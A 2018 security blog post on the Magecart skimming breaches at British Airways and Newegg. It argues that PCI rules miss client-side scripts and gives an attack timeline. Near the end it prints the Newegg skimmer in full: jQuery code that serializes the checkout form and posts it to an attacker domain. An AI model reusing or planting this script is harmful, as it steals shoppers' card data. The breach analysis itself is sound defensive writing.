how-things-work
Matthew Gast
By Matthew Gast
Posted On September 25, 2018

The Newegg Breach: PCI Means Nothing to Magecart

Data Breach | Application Security | PCI

 

On September 7, British Airways was breached, in spite of following the detailed rules for payment card security, the PCI Data Security Standard. Two weeks later, on September 19, Newegg announced that they were breached. Both of these breaches occurred at sites which followed data security rules, and point to the way that PCI standards have not kept up with 2018-era web design. They are focused on security of card data once it hits the server, but do not protect against client-side vulnerabilities like the recent Magecart attacks.

 

In broad strokes, these attacks follow the same general pattern:

  1. Attackers notice a merchant is vulnerable, and begin setting up the infrastructure to receive skimmed card data. There are two steps that leave a paper trail: registering a domain to receive skimmed data, and obtaining a certificate so that the skimmed data will be encrypted.
  2. Attackers compromise the web site and inject a script that grabs payment information from the checkout process. This works because a script on the page can read anything on the page. It doesn’t matter if the script is loaded from a third party (as in the Ticketmaster case), or if it was a cross-site scripting attack, or was placed on the web site by compromising the underlying infrastructure. The skimming script is now on the web site.
  3. In both the BA & Newegg cases, the script was tailored to the underlying payment infrastructure. When a user presses the buy button, the script fires, collects payment information from the page, and reports it to the attacker’s URL (https://baways.com/gateway/app/dataprocessing/api/ and https://neweggstats.com/GlobalData, respectively).
  4. Eventually, the malicious script was noticed, removed, and an announcement was made. In BA’s case, EU privacy rules compelled them to announce the size of the potential breach. I am not aware of any estimate of the number of customers affected at Newegg, but it is one of the best electronics stores on the web. (I am a customer, but did not buy anything during the month of vulnerability.)

 

Attack Step British Airways Newegg
Domain registered baways.com, August 16 neweggstats.com, August 13
Certificate issued August 15 August 13
Malicious code placed on server Approximately August 21 Approximately August 16
Malicious code removed & breach announced September 7 September 18
Approximate days of vulnerability 18 34
Estimated number of potential customers affected 380,000 Not yet disclosed

One of the reasons it’s easy for the script to hide is that it is only 15 lines, out of hundreds of lines of Javascript. Significant portions of web applications now reside in client-side code, whether as Javascript running in a web browser or as a mobile application calling APIs, meaning this is 15 lines out of possibly thousands:

window.onload = function () {
jQuery(‘#btnCreditCard.paymentBtn.creditcard’).bind("mouseup touchend", function(e) {
  var data = jQuery('#checkout');
  var pdati = JSON.stringify(data.serializeArray());
  setTimeout(function() {
  jQuery.ajax({
   type: "POST",
   async: true,
   url: "https://neweggstats.com/GlobalData",
     data: pdati,
     dataType: "application/json"
  });
}, 250);
;});
};

 But this isn’t something that the PCI DSS was intended to catch. Web applications with client components are new enough that the DSS has no requirements for searching for Javascript vulnerabilities or deploying browser protections… but that is going to be the final post in the mini-Magecart series.